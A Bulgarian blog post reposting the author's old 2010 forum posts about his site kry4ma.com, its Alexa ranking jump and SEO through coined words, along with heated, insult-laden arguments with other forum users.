Само, когато общувам с хора, на които трябва да се повтаря. Олигофренопедагогически метод. Знаеш ли, че има една специалност в СУ "Олигофренопедагогика"?
"ЗА ТОВА ТИ ГРИЖА НЕ БЕРИ. НАЛИ ТИ КАЗАХ, ЧЕ МОЕТО ОБРАЗУВАНИЕ И РАБОТА НЕ СА ТВОЯ РАБОТА, ОСВЕН ДА СЕ ЕБАВАШ С МЕН, РАЗБИРАСЕ!"
ОбразУвание????????БОЖИЧКО!!!! КАНДИДАТ-ВИСШИСТ ПИШЕ ОБРАЗОВАНИЕ С "У"?Ванго ти, ако завършиш образОван ли ще си или образУван? ОбразУвание... Тц-тц-тц!!! Всички ли анти-комунисти са толкова неграмотни? ОбразУвание...ОбразУвал си се... Видно е.
"-(по-отдолу ме наричаш "страхливец". Е, трябва да си разбрал, Драги ми Гошко, че не се плаша от призраци)"
Но ти си уплашен по природа, бе, Ванго! За какво да те плаша повече?
"НЕ СМЯТАМ, А ВЯРВАМ, ЧЕНЯМАШ НИКАКВИ ФАКТИ НА НИКАКВО ЦРУ:)"
Ами, ако имам и ти ги покажа, какво ще получа в замяна? Някоя от поредните ти инкохеренции ли?
"АБЕ, ГОШКО, МНОГО БЪРЗО ТИ СЕ ПРИИСКА ДА "ЗАТВАРЯМЕ ТЕМАТА"... НА МЕН НЕ МИ Е ОМРЪЗНАЛА, АКО СИ БЕДЕН ВЕЧЕ НА ФАКТИ, ТОГАВА МОЖЕБИ Е РЕДНО ДА ИСКАШ ДА ЗАТВАРЯМЕ ТЕМАТА...
АХ, ГОШКО, ГОШКО..."
ХАЛЮЦИНАЦИЙКИ! Беден на факти си само и единствено ти. Примерно като нямаш фактите за диалектиката и за Маркс и си измисяш твои. Ако не си чел Е.Б. си измисляш статийи, без дори да можеш да ги посочиш и т.н.
Хайде, със здраве!
Бате ти - Гошко.
_______________
Големи дебати бяха... видно е. :)
Предполагам, че в този вид на реплики-дуплики се подразбира кое е мое и кое е на Ванго...
Ако Ванго прочете това, моля го да си спомни с умиление нашите спорчета и да се свърже с мен тук, че ми е залипсвал много отдавна! Сериозно пиша.
И да добавя: Имахме познат от Койнаре, който беше доста начетен и полезен с познанията си. Така че, под "хората от Койнаре" визирах само въпросния Ванго, който по онова време нещо не чаткаше нещата.
-
Мисля да се депресирам за около 6 часа като онзи, но без статуси където и да е, за да не губя време, а да изкарам 3 евроцента, примерно!
Шегички. :) :)
Както е казал един (то не е нещо впечатлително, но вярно) - "Това, че съм стар и грозен, не значи, че не искам млада и хубава, бе!!!"
Което си е вярно, вярно си е. :)
Успокояването приспива ума и може да направи мечешка услуга. Добре е, човек да е откровен и да си/се знае кога светва "червено", за да взема мерки.
Истината, истината и пак истината, демек!
Да завършим с нещо по-дълго и философично: Аха. Разбрах те. Ами да - аз това съм го мислил много: във връзките, не само любовни, някой си мисли, че прави нещо супер, а то се тълува направо на 180 градуса... навсякъде е така...
... и така - няма съвършена любов, защото няма съвършено съвпадение и съвършено разбиране - на 3 жени вече цветя подарявам, а те ме критикуват, че било излишен харч. В СЪЩОТО ВРЕМЕ чета изповеди на други колко са нещастни, че не били видели едно цветенце досега (чак ми е мъчно за тях)...
Разбирането, тълкуването... ::)
-
Просто търсех информация и попаднах във форума (в тази му част); не бях го правил от доста време. И мисля, че тя ще трябва да бъде дообогатена (включително и препостване на неща, които съм писал за без пари на други места в нета, а не е трябвало...)
-
Това са изтрити от predpriemach.com и прекопирани тук мои отдавнашни постове:
1. От темата "Рекорд ли е изкачването на ввв.кръчма.ком в Алекса?" (Става дума за мой бивш форум, който отдавна продадох и вече не пиша там - kry4ma.com.)
Добър ден на хората от Предприемач.ком!
Няколко пъти съм чел в този форум и съм намирал полезна и обективна информация.
Регистрирах се, за да попитам за професионалното ви мнение (а не само с цел популяризиране на Кръчма.ком, затова ако прецените, че темата не ви харесва, може да я изтриете, но ще се радвам да ми пишете на ЛС, защото наистина искам да знам и да не се изложа нещо пред аудиторията си!)
Става дума за следното - не разбирам много от софтуеър, философ съм по образование, но направих нещо, което още не беше налично в българския нет - Първата виртуална българска кръчма. Сложих няколко уникални рубрики (раздела в нея), линкнах я в няколко сайта, поканих потребители от други сайтове и други държави, и се получи СКОК ОТ НЯКОЛКО МИЛИОНА В РАМКИТЕ НА ОКОЛО МЕСЕЦ. 8)
Естествено това ме радва, а и радва няколко мои познати, които поназнайват това-онова от компютри, но мен ме интересува вашето, професионало мнение, на хора, които са, струва ми се, специалисти по ранглисти, търсачки, оптимизации и пр. Моля, кажете ми, във вашия си стил - обективно и сериозно - има ли нещо рекордно (уникално) в следния скок или той е нормално (или сравнително-нормално) явление за новите сайтове от типа на Кръчма.ком ?
ЗА ДА НЕ ВИ ГУБЯ ПОВЕЧЕ ОТ ВРЕМЕТО, КОНКРЕТНИТЕ ДАННИ (по Алекса.ком):
17 Август 2010 :17 933 647-мо място
18 Септември 2010: 4 366 434 - то място!
(Ако някой иска да проследи конкретните изменения - тук е темата: ввв.кръ4ма.ком , рубриката "Кръчмарска книга за оплаквания", тема "Къде сме ние?")
Та да се хваля ли с това или не е кой знае какво постижение?
Ще очаквам с нетърпение вашите отговори!
Поздрави: Баш Винар (ввв.кръчма.ком) .
Last edited: Sep 19, 2010
Bashvinar, Sep 19, 2010
--
Мантаман,
Благодаря за тулчето, не съм го ползвал досега, но щом е само позоваване на Алекса-та, явно не върши някаква допълнителна работа. Относно самата позиция в момета, да си в ТОП 5 милиона разбира се, че не е нещо особено,
но аз визирах самия скок от няколко милиона покачване на Кръчма.ком в рамките на 1 месец, а не самата позиция. Т.е. интересува ме дали това може да се брои за нещо уникално или не (понеже досега съм имал само 1 сайт и той си стои на позиция ТОП 11 милиона най-много, а, отделно редактирам 2 онлайн речника, но там не съм забелязвал подобни скокове). Все пак, благодаря за мнението ти!
Bashvinar, Sep 19, 2010
--
Against, нещо такова и аз усетих, но не бях сигурен. Благодаря за разяснението. Действително конкуренцията в по-горните позиции си е по-голяма! :)
Bashvinar, Sep 19, 2010
--
Социалните мрежи, по принцип, са си на по-горни позиции. Онази от подписа на Атанасов също не може да се оплаче от позиция по света и в България :)
Bashvinar, Sep 19, 2010
--
Ето това е нещо, което ме вълнува. Гугъл аналитикс е ясен, но има ли някоя друга Гугъл или каквато и да е система, която да дава ранглиста от типа на Алекса.ком? Не, че нещо, но друго си е да има поне една друга база за сравнение...
Bashvinar, Sep 19, 2010
--
Има значение, но нали, все пак, много рекламодатели първо гледат какъв е трафикът, а някои дори искат достъп и до Гугъл аналитикса? Според мен ранглистата си е важна.
Bashvinar, Sep 20, 2010
--
Лично на мен не ми е и минавала мисълта за измама на който и да било рекламодател. Както казвате, то за кратко може да си проличи кой какъв е, а и ми е малко раничко за рекламодатели. В момента давам само безплатни реклами :)
Прав си, че рекламодателите са различни така, както са различни и хората. Някои предпочитат да слагат реклами в сайтове с много посещаемост, а други просто в тематични сайтове, трети не подбират, защото си имат голям бюджет за реклами и просто гледат да правят масирана реклама, четвърти въобще не рекламират в Интернет, пети..., шести...и т.н.,
но според мен едно е да си на по-челно място в алекса.ком, а друго е да не те хваща брояча :)
Bashvinar, Sep 20, 2010
--
Бекграундът съм го търсил над 2 седмици и намерих само тоя като тематика, та го приложих. Разработен е от американец. Аз не мога да правя такива неща :) Ако, наистина ти харесва такъв тип бекграунд, освен ввв.кръ4ма.ком, подобен има и в сайта: ввв.бирата.нет :) /Не е мой, да кажа предварително!/
Bashvinar, Sep 20, 2010
--
Според моят анализ на думата СПАМ тя е неправомерна по отношение на форумите, защото означава като изконен смисъл НЕЖЕЛАНА ПОЩА. Ако приемем, че същността на спама като такъв се намира в НЕЖЕЛАТЕЛНОСТТА му, то съдейки по това, че темата се радва на интерес + че не е изтрита досега, говори за по-различната й от "спам" същност.
Между другото, пиша и в други теми на предприемач.ком, не само в тази, допринасяйки и за развитието на този форум С какво? 1) Полезна информация за някои от участниците и случайните посетители относно някои китайски и философски аспекти в Интернета (например благодарение на мен някои са научили, че на света има не само Гугъл, Яху и пр., но и БАЙДУ, което намира неща, с които Гугъл не се справя) 2) Повече думи (използвани от мен за пръв път в този форум), което ще го направи по-популярен при търсенията и от хора, които са далеч от основната му тематика. 3) Още един уникален потребител, с чужбинко айпи, което също дава отражение на престижа на форума.
Относно чуждите форуми - владея 7 езика и е възможно, не си спомям конкретно в момента, но Кръчма.ком по план се развива и към чужбинските потребители (аз лично живея в чужбина от близо 7 години) и в едно по-глобализирано представяне няма нищо лошо, даже напротив - вземайте пример от мен и търсете чужда аудитория, не само родна.
Поздрави!:)
Bashvinar, Sep 22, 2010
--
Много интересен пост. Благодаря. Аналогията ми хареса. Но сигурно ли е, че съм надминал само сайтове, които имат по 3 посещения месечно? Изкушавам се да дам пример с Щъркел.еу (сайт за литературно творчество). Според статистиката му (http://bgcounter.com/?_id=shtyrk), той е имал вчера над 70 посещения, а за месеца около 1600. (Аз имам двойно повече към днешна дата, според гугъл аналитикс). И резонно вижте какво става:
Site Information for shtyrkel.eu
Get Details
Alexa Traffic Rank: 10,217,499
А аз:
Site Information for kry4ma.com
Get Details
Alexa Traffic Rank: 4,241,735
Тъй, че не съм задминал само "пенсионерите" :) Иначе е трудно, сравнително и се прогресира до определени рамки. Не може човек да надмине световните ТОП 1000 с такъв сайт като кръчма.ком, но поне да влезне в българските ТОП 200 и дори ТОП 100 си е напълно в реда на нещата, до 1-2 години време, ако не стане някой сакатлък, разбира се дотогава...
Мерси за линкчето!!!! Всичко му е хубаво, видях водещи китайски сайтове на челни позиции, научих и за някои нови интересни сайтове, само че не съм го изчел цялото и не знам дали Кръчма.ком е в класацията или не е, но ако е, ще ви пиша ;)
Bashvinar, Sep 22, 2010
--
До гъбарят, който се гъбарка с човекът направил такъв уникален сайт като Кръчма.ком - хехе...Господин гъбар, сигурен съм, че ми приписвате някакъв тип наркомания само-и-защото вашето професионално ниво в сферата на оптимизациите, класациите и всичките други -ции, за които говорим тук е несравнимо по-високо от моето. Обаче, както са ни учили едни хора - ПРАКТИКАТА, практиката и само практиката, е мерилото за истинността на теориите. Та нека видим някои от сайтовете, които сте написал в подписа си (не знам дали са ваши, а и няма значение) къде се намират в Алекса.ком и в същото време къде стои www.kry4ma.com
Започваме с много-мило звучащия домейн ЧАЛГА.БИЗ. Какво да ви кажа? българите обичали чалгата, казват, вървежна тематика била, а и сайтът ни е предложен на вниманието от човек като гъбаря, което неминуемо дава асоциация за надежден професионализъм, но уви, според алексчето:
Alexa Traffic Rank: 6,544,631
No regional data
Sites Linking In: 23
Т.е. с над 2 милиона назад от Кръчма.ком
Ние, обаче не бива да се отчайваме и ще приемем това като една необяснима случайност. И отиваме към нещо по-ударно като "20 тире век.ком"
Тоя сайт почти два пъти по-назад даже и от биз-чалгата. Вижте:
Alexa Traffic Rank: 12,515,277
No regional data
Sites Linking In: 14
Сигурно е заради тирето ;) Разни умни глави съветват като си избираш домейн да не слагаш тирета от психологическа гледна точка - юзърите трудно ги помнели, но...карай.
Нека сега да видим къде е домейнът, който сякаш се състезава за най-дълго домейн-име в света (също много непрепоръчително от гледна точка на популярността на даден сайт). Този домейн се казва "гледайфилмионлайн". И понеже хората честичко обичат да гледат филмчета на аванта, би следвало този домейн да е изкачил позициите и да удари Кръчмата поне сто пъти, но къде ти такъв успех?! ЕДВАМ НА ТАЯ ПОЗИЦИЯ:
Alexa Traffic Rank: 3,758,526, което значи, че Кръчма.ком му диша във врата (като сме тръгнали с лекоателетическите категории).
Накрая какво остана? Някакъв блог - twis7.com Вероятно е блогът на гъбаря, който аз ще посетя, за да му вдигна малко трафика и да се поуча от неговата мъдрост по-отблизо. И да тука е успехът - : 1,457,299-то място към днешна дата! :) Ама само с 1 блог напред, мило 17 годишно момче, не си убедителен батковото, да не кажа чичовото, защото съм на "~ (2 х 17) + 1". Мисля, че си добър математик и ще ме разбереш :) Иначе хубави, тематични снимки си сложил там с пиячката - идвай в Кръчма.ком (като направиш 18!), за да влизам по-бързо в ТОП 100 на България, сигурен съм, че заедно ще успеем :)
Bashvinar, Sep 22, 2010
--
Скорпи, не се нерви, не е полезно за здравето. Отделно ти препоръчвам да схващаш по-правилно смислите, които влагам/излагам тук. Ще се опитам да ти обЕсня (правилно е да се пише "обЯсня", да знаеш, защото правописът също може да повлияе благотворно на SEO-то, когато повечето хора, които търсят са грамотни). Има си различни видове ФАКТОРИ в света при оценката на нещо. Задаваните критерии за оценка на всеки оценяващ включват различни по значимост/сила фактори. Ти силно подценяваш Алекса-та, докато аз, без да я надценявам, просто й отчитам значимостта на фактор при оценяване, който се взема предвид от "средната класа (средното ниво)" рекламодатели.
Относно дали съм помогнал с нещо тук, ще ти дам един пример. Въвел съм няколко нови думи в българския език като : зодизъм, неоценовизъм, новопрабългарски и пр. Един от неологизмите, които написах в Кръчма.ком беше КРЪЧМОПЕДИЯ. Напиши думата "кръчмопедия" и ще видиш, че в Гугъл излиза на първо място www.kry4ma.com Ето защо употребата в даден форум на думи, които средният потребител не употребява (да речем, ако тук няма професионални философи, рядко някой ще употреби понятия като: онтичност, гносеологичен или иманентен) е доста ДОПРИНАСЯЩО за индексирането на даден форум в Гугъл. Същото се отнася и за т.нар. дългоопашати (long-tail) фрази, изречения. Разбира се, не е важно как точно оценяваш приноса ми, той обективно се показва в Кръчма.ком, която основно с уникално съдържание (рубрики, теми, изречения, думи) се издига и ще се издига, ако не стане нещо лошо.
Предложенито ти за разпращане на личи съобщения с молби за посещение на най-готината виртуална кръчма, както я определи, е вид пряк маркетинг, който аз използвам, но не по този начин. Когато пишеш във форум е по-резонно да направиш съобщението си в теми или на аватар, подпис, никнейм. Така се пести време и ресурс. Но, предполагам, тези неща са ти известни. Аз ги пиша за читателите тук, които са прохождащи в тази сфера, а не за специалисти от твоя ранг.
Надеждата ми е, че можем да сме по-смирени и хрисими като си помагаме взаимно, с различна степен на реципрочност, според способностите и възможностите. Искрено се надявам и с изказванията си да не съм навредил по някакъв начин (неумишлено и случайно) на някой твой бизнес, в случай, че на някакво такова опасение се дължи твоята буйна реакция, изписана с приведен в действие Caps Lock или, още по-лошо - с постоянно настиснат Shift...не смея да си го представя просто. Хумор :) Усмихни се сега, налей си едно, ако не си на работа и помисли върху думите ми, а ако искаш и посети кръчма.ком, няма никак да сбъркаш ;)
Пожелавам ти много здраве, спокойствие и успехи както във виртуала, така и в реала :)
Bashvinar, Sep 23, 2010
--
Иво, прав си, че езиците са богатство дори и днес, когато имаме автоматизирани преводи, които стават все по-добри и вбъдеще напълно е възможно да изместят дори класическите преводачи, както и липсата от списване на други езици.
В момента, обаче, все още е много голямо богатство, да поназнайваш езици.
За блогът - имам отдавна. Може би вече над 2 години, но не мръдва на по-високо от ТОП 11 000 000. Аз и не правя усилия да го вдигам, защото там пиша основно поезията си, научните си статии и мнения за разни неща из нета.
Езиковите си познания прилагам в момента на 3 фронта - в тоя момент съм : а) редактор в първия онлайн български речник за неологизми - Неолог.бг (www.neolog.bg)
б) главен редактор съм на първия Китайско-българо-китайски онлайн речник (www.zhongbaotong.com)
в) собственик на Кръчма.ком (www.kry4ma.com) , където наред с другите неща пишем уроци по италиански и китайски.
Много си прав, че форумите за развлечение вече не са това, което бяха, НО Кръчма.ком не е само форум. В него, както май съм казвал, има уникални рубрики като "Любов с азиатки/-ци", където всеки българин, знаещ английски може да им пише на имейлите с цел приятелство или брак; Кръчмопедия-Encyclopedia Alternativa (за всичко, което е изтрито или го няма по други причини в Уикипедия); "Интересно от други форуми" (няма нужда от разяснение); Безплатните уроци на български по китайски и италиански езици ...Т.е., ако някой не иска да се забавлява с алкохолни и параалкохолни тематики, то може да влиза там с други цели - езиково обучение, брак с жълти хора, намиране на инфо, което го е няма в Уикипедията и дори в целия интернет, понякога...По тая логика нещата ще вървят добре, защото още нямат конкуренция на тоя етап, а и да се появи, пак ще сме си конкуретнособни до известна степен, защото потребителите не са ябълки. Както съм писал: "Ако ти имаш 2 ябълки и ми дадеш 2, аз ще имам 2, а ти 0. Но, ако ти имаш двама потребителя и ми дадеш 2, тогава може и ти да имаш 2-ма и аз да имам 2-ма."
Ето защо в Нет-а е по-хубаво да се сътрудничи, отколкото да мисли егоистично. Едно от най-гениалните неща измисляни някога, според мен, това са бартерните реклами от типа на размяна на линкове и пр.
Bashvinar, Sep 23, 2010
--
Ето и още нещо, мъничко, в подкрепа на някои мои думи:
Site Information for kry4ma.comGet Details Alexa Traffic Rank: 3,705,674 Traffic Rank in BG: 22,211 Sites Linking In: No Data
http://www.alexa.com/search?q=www.kry4ma.com&r=home_home&p=bigtop
Bashvinar, Sep 23, 2010
--
Здравей, отново, Скорпи!
Виждам, че наистина не умееш да контролираш добре емоционално-волевата си сфера, затова предлагам, ако желаеш да пренесем спора в секцията "Анти-кръчма" в www.kry4ma.com, където вече си обект на моето специално внимание, давайки копия от отговорите си до теб тук. Резонно е да пренесем спора и обидите ти в моя сайт, защото тукашните потребители не заслужават с нищо да понасят такава безпочвена агресия, съгласен ли си? В края на този пост ще ти дам линк към "Анти-кръчма", заповядай там и можем даже да се псуваме :) Тук нека спазваме добрия и научен тон. Следвайки го ще то отговоря за последен път тук, а оттам насетне - само и единствено в кръчма.ком, рубриката "анти-кръчма". Разбрахме ли се като джентълмени или поне като мъже?
А сега нека започнем:
1. Моите постове не са глупави, още по-малко идиотски, защото аз съм човек с богат опит, добра специалност и различни научни хобита. Твоите асоциации относно качеството на моите постове (съждения и умозаключения) са нелепи.
2. Умалителното "кретенче" не може да се съотнесе с мен нито като количество нито като качество, защото първо, че съм на почти 35 години, второ че съм с магистърска степен по философия от не къде да е, а от Софийския университет "Св. Климент Охридски". Това определение, обаче, предвид инфантилно-агресивните ти реакции на някакви спокойни и приятелски мои постове, би могло с доста голяма тежест да се приложи към теб. Мисля, че много от мислещите хора тук биха се съгласили с едно такова предложение от моя страна - за кретенче да приемем теб, а не мен - почти 35 годишния магистър-философ, преподавател, полиглот, поет и пр.
3. Няма смисъл да се отказваш от темата. Ела, регистрирай се в Кръчма.ком, обещавам ти, ако не пишеш за политика и, ако спазва действащите закони на Република България и тези на ЕС, да не те санкционирам; там можем даже да разпуснем малко езиците и да излееш малко повече от негативната си енергия, породена от дявол знае какво.
4. На кого ще се смеят, плачат, радват, безразличничат всички е относително. Оценките на даден пост се пораждат от аперцепцията на всеки един човек. Така че е доста самонадеяано и/или инфантилно да правиш прогнози кой на какво щял да се смее.
5. Средната класа, средното ниво и пр. СРЕДНИ величини са термини от няколко науки, които, явно не са в твоето интелектуално поле. Разбира се, щом като питаш така "учтиво" аз може и да ти отговоря реципрочно учтиво - "ВЗЕМИ ПРОЧЕТИ МАЛКО ПОВЕЧЕ КНИГИ, БЕ, ЦЪРВУЛ!" или нещо от сорта, в контекста на реципрочното отношение, което се прилага ДОРИ в дипломатическите среди.
6. Ще се опитам да продам реклама някъде тогава, когато Кръчма.ком се изкачи по-горе в класациите на така ненавистната ти алекса.ком. В момента, макар и на доста по-високи позиции от много небългарски и български сайтове (а именно : 3,705,674-то в света и 22,211-во в България: http://www.alexa.com/search?q=kry4ma.com&r=site_screener&p=bigtop), още е рано за реклами. Когато станем в ТОП 1 000 000 на света и в ТОП 200 на България ще мобилизирам моите консултанти, адвокати, приятели, модератори и роднини да направят една масивна рекламна кампания в Б-я, а аз ще сторя същата в чужбина :) Надявам се това да те задоволява.
7. Неуморно, вдъхновен от науката олигофренопедагогика, ПАКще ти обясня, че не говорим САМО за Алекса. Казах ти, че тя е ФАКТОР, но не единствен; уви развитостта на ЦНС-то ти е такава, че още не може, а и не знам дали ще може да усвои това мое съждение. Човеко, ПАК-И-ПАК ти казва, че никой не ти говори САМО за Алекса, така че не ми приписвай съждения, които аз не съм писал и не съм имал предвид. Едва ли си учил философия на ниво "Средно училище" , но , в случай, че си, СЕТИ СЕ ЗА ЕДНО НЕЩО НАРЕЧЕНО - "Необходимо, но недостатъчно условие". Т.е. да си класиран в дадена ранглиста, според мен, е необходимо (или ПОНЕ ЖЕЛАТЕЛНО), но не е всичко, така че ОТКАЖИ СЕ ПИЧ от това да си измисляш симулакрумни съждения и да оборваш тях.
"И аз да си въведа думата - СКОРПИОПЕДИЯ и тя ще излиза на първо място от блога ми , защото никой друг я няма!?"
Я! Ти си могъл да разбираш ЧАСТ от нещата, които говоря! АМИ ДА, ДА, ДА, ДА, ДА!!!!!!! НАЛИ ТОВА КАЗВАМ И АЗ - УНИКАЛНО СЪДЪРЖАНИЕ! Въвеждаш уникални думи, изречения, статии и пр., което вдига нещата!
"ТРЕТО - Айде недей ако обичаш да помагаш да индексираш форума с думи като - КРЪЧМОПЕДИЯ!?!?!? Най-много да свалиш боунс рейта на форума ( за предприемач говоря ) "
А ти само тази дума ли запомни?! Нали писах още : онтично, гносеология...УВИ, МОМКО, УВИ...толкова ти позволява акълчето, толкова си запомнил...е, не е беда - като не си на това ниво, пък довери се на човек, който е учил за такива неща, свързани с: думи, смисъл, значение, семантика, гносис, онтология, антропос и пр. и ще видиш, рано или късно, че може да се борави с "матрицата" и на по-прости нива, а не само на технически-извисените, които позитивистично пропагандираш по свой си, имплицитен начин!
"О колко си прав! Може да започнеш с пускането на теми във форума ти от рода на : " КРЪЧМОПЕДИЯ ДЪ БЕСТ" "УИ ЛОВ ЧАЙНИЗ" , така ще излизаш на първо място по тези кл.думи , което явно е прецедент и рекорд за тебе. "
Би могло. Само че, както казах, нивото ти не задава голяма възможност да направиш разлика между НАУЧЕН НЕОЛОГИЗЪМ, за който споменах и някакви си НЕПРАВИЛИ кирилишки транскрипции на английски...Жалко е, но не е и безнадеждно. Имаш възможности, животът е пред теб; предполагам още си младеж под 20 години (поне интелектуалната ти възраст оценявам на толкова) и можеш да напреднеш...
"ПЕТО - Никой от предприемач не одобрява спаменето . Пращането на Л.С -"МОЛЯ ВЛЕЗНИ ВЪВ ФОРУМА" е чист СПАМ ."
ДРУГАРЧЕ, ПАК ТИ КАЗВАМ, ЧЕ АЗ ЛИЧНИ СЪОБЩЕНИЯ НЕ СЪМ ПРАЩАЛ! ОТНОВО И ЗА СЕТЕН ПЪТ КАЗВАМ, ЧЕ ЛИЧНИТЕ СЪОБЩЕНИЯ НЕ СА С ДОБРО КПД!
" Как не те е срам да наречеш това МАРКЕТИНГ трик ?"
Ами не съм го наричал така. Говоря за пряк маркетинг и то само теоретично. Практически не съм го ползвал. Аз досега на 1 човек от Предприемач не съм влизал в профила, камо ли пък да губя време с ЛС...Ти нормален ли си?!?!?!?!
"И ако обичаш разясни , с какво се различава твоето маркетингово непоискано съобщение ,със спама на виагра и какво ли не , което идва в пощата ми."
По това, че не съм пращал нищо до пощата ти, нито до пощите и до ЛС-тата на останалите. А т.нар. спам не е априори лошо нещо. Всяка реклама е ИНФОРМАЦИЯ, а информацията е много ценно нещо в днешното ИНФОРМАЦИОННО ОБЩЕСТВО, МОЙ!
"Как да си наливам и да ти се кефя, като си спамнал целия нет бе умнико ."
С мерак! Стига да имаш 18, защото след последните ти изцепки почвам дълбоко да се съмнявам. А целият нет не съм спамил, няма как да стане просто, но явно това е пак някое от бебешките ти изказвания към които започвам да привиквам.
" Може ли да имаш мнение , в което не си хвалиш заспалия ти форум ( о да ,повярвай наистина е заспал! ). Не ти прави чест да го споменаваш всеки път в постовете си ."
Може и да може. Възможностите се делят, според арменския философ Георг А. Брутян на ФОРМАЛНА, АБСТРАКТНА И РЕАЛНА. Иначе няма как да е заспало нещо, което само за по-малко от 2 месеца се изкачва стремително нагоре в Алеска.ком и то без никакви особени трикове и оптимизации, а основно, само на база УНИКАЛНИ РУБРИКИ и СЪДЪРЖАНИЕ. Когато ти за 2 месеца без трикове успееш да вдигнеш някой сайт така високо, ела ми се обади. може да разменяме линкове :)
"За каква конкуренция ми говориш с кръчмите ? Това твоето е ФОРУМ и нищо друго , конкуренцията ти е всеки един форум."
Отново нисш философски разсъдък. Абе, нашьо! ФОРУМ е само ФОРМА. Да си чувал за съдържание?!?!?!?!?! Посочи ми кой форум към днешна дата в България предлага:
а) безплатни уроци по китайски и италиански
б) запознаства с азиатки и азиатци
в) алтернативна енциклопедия, стемяща се да запълва празнините в Уикипедия
г) безплатни реклами
д) свободна трибуна за всички баннати от други форуми
И ВСИЧКО ТОВА НА ЕДНО МЯСТО?! Не виждаш ли уникалността и революционността на Кръчма.ком?!
"ДЕВЕТО - как върви със спама в teenproblem"
В тийнпроблем ми казаха, че ще приемат сътрудничество с мен, когато като тях докарам по 300 потребителя. В момента съм само на 40 - 50 % от тяхните потребители, но до няколко седмици или месеци ще мога да се похваля с 300 потребителя и тогава ще видим дали върви или не върви. Ако не върви, за разлика от теб, знам китайски език и мога да опитам в някой китайски форум, който има не 300 , а 30 000 потребителя на ден, а ти...ще лапаш мухите :)
"ДЕСЕТО - НЕДЕЙ ми отговаряй , само би изсрал нещо по-голямо , аз повече няма да пиша в темата."
Не сера, когато отговарям. Бих дефекирал само, ако си ми наблизо, за да ти дам да ядеш. Ти не правиш друго, освен да ядеш лайна, мой!
Оттук насетне, пълен игнор за тебе тук и само на тоя адрес:
http://kry4ma.com/index.php/topic,137.msg2663.html#msg2663
!
Bashvinar, Sep 23, 2010
--
Да, ама поне ще влиза да види какво съм му отговарял, а и не само той, а това прави повече посещения. Отделно ми намалява риска да ме изгонят от този форум заради него. А, който иска сеир, също идва, където съм му отговорил и готово, щото в кръчмето има доста сеирджилък, понеже е таргетирано към всички категории (без малолетни и без политология/политиканство). Т.е. с един куршум - 3 заека.
А, ако той наистина е мъж и си държи на мъжката дума да не пише повече (или поне да спре с деструктивната си агресивност), тогава пак е добре, защото няма да губим време с него, а например, ще поканя още няколко човека от България и Източна Азия да се присъединят там. И резултатът е ясен - нагоре :)
Bashvinar, Sep 24, 2010
--
От магистрите може да се научи доста, но и от бакалаврите може. В същото време от някой доктор или дори професор може нищо да не научиш, ако не знае или не може да обяснява и/или, ако интелектът не ти е достатъчно развит. В същото време, при постигането на разбиране (да не говорим за разбирателство) се появява и още една трудност, че генераторът на смисли и рецепиентите не винаги влагат един и същи смисъл в един и същ конструкт. Както съм писал в темата за разкрепостената и курвата в Кръчма.ком (http://kry4ma.com/index.php/board,3.0.html) в едно и съща дума може да се влага различно отношение, емоция, разбиране...Ето защо херменевтиката не е лесна работа, а и клони към степени на невъзможност.
Bashvinar, Sep 24, 201
--
От http://kry4ma.com/index.php/topic,137.msg2686.html#msg2686 :
Не дотам уважаеми Вий-бий-ТИЙ-КЕЙ,
отговарям и на тебе тук за пръв и последен път, по-нататък, ако искаш да четеш мъдрите ми отговори, ще трябва да посещаваш Кръчма.ком, рубриката "Антикръчма", където може да се регнеш (става бързо, без имейл-потвърждение) и даже, ако искаш да се разгорещим. А тук се стремя да отговарям по-научно и по-възпитано отколкото някои от вас заслужават. Нека преминем сега към същността на отговора ми:
1. Не съм дървен философ, а съм с магистърска степен по философска антропология, специалност "Философия". Ако още не си го разбрал и продължаваш да ми приписваш предикати като дървен, значи, че ти е дървен мозъка. Хаха, дървен мозък!
2. Не парадирам с диплома (то това от дървените мозъци няма как да се разбере), а ползвам дипломата си като аргумент, че не съм кретенче, както оня ме обижда. А ти вместо да застанеш на страната на възпитаното общуване и да му направиш забележка да не употребява думи в този уважаван от мен форум, ти си взел да засливаш агресивността и обидите. Ами сорка, ама не ми трябва подкрепа от лоши хора като теб. Предпочитам да ме подкрепят достойните, а не недостойните. Така че логично е човек като теб да не подкрепи човек като мен, а да го обижда дори. Нямаш проблеми...
3. Университетът "Св. Климент Охридски" не е смешен, а е най-ранният и най-голям университет в България и на Балканите, както и един от най-големите в Източна Европа. Естествено от дървен мозък не можем да очакваме това да се знае и да се ОЦЕНИ. Ти, утре, може да кажеш, че и Цинхуа или Харвард са смешни университети, което хептен ще определи не само мозъка ти като дървен, но и прояден от дървеници. Клониш към лудост, разбери. Не всеки ден някой, някъде може да се изцепи така за най-почитания български университет!
4. Да, лични съобщения ТУК не съм пращал, а на други места пращам, ако преценя, че има високо КПД. Да речем пратих на 2-ма души, които вече са мои модератори (част от модераторския екип). Пращам и лични съобщения на азиатците, за да имам потвърждение, че са съгласни и разбират смисъла на регистрацията си в Европейски форум като Кръчма.ком Благодаря, че попита!
5. О, да! Визираш Хилари от Тийнпроблем ли?! Ами че как?!?!?!? Тя е една от малкото момичета, които се пазят девствени до сватбата! В същото време генералната ми модераторка пък не пие НИКАКЪВ АЛКОХОЛ! Аз ги събирам само авторитети, бре! Точно това имах предвид като казах, че пращам лични само, ако има високо КПД, т.е. където степента на сигурност или поне субективна сигурност е по-висока. Няма да ти пратя на тебе я! ;)
6. Тийнпроблемът наистина има с какво да се похвали и затова е закупен за десетки хиляди левове. Когато и ти направиш такъв форум, който може да вземе поне хиляда лева, кажи ми, ще се поуча и от твоя опит, защото може да си с лоша етика и/или етикет, но пък може да си гений. Аз се уча от всички и затова напредвам в този живот сравнително-качествено. Разбира се това е само 1 от причините - другите са, че спазвам законите, че не се правя на отворен, когато не е нужно, както правиш ти сега и пр. Т.е. успехът си има условия, а аз се стремя да се доближавам до техния оптимум.
7. Да, информцията е ценна, а информационните бюлетини са нещо прекрасно! Моля ти се, понеже аз не знам как, абонирай ме за колкото се може повече информационни бюлетина. Може да използваме този имейл: tatarkishi@yahoo.com
Знам, че би го направил, за да ми навредиш, но просто не си наясно колко ценно за мен би било да имам повече потоци на информация. Така може дори с 10 до 50 % по-скоро да се ускори издигането на Кръчма.ком!
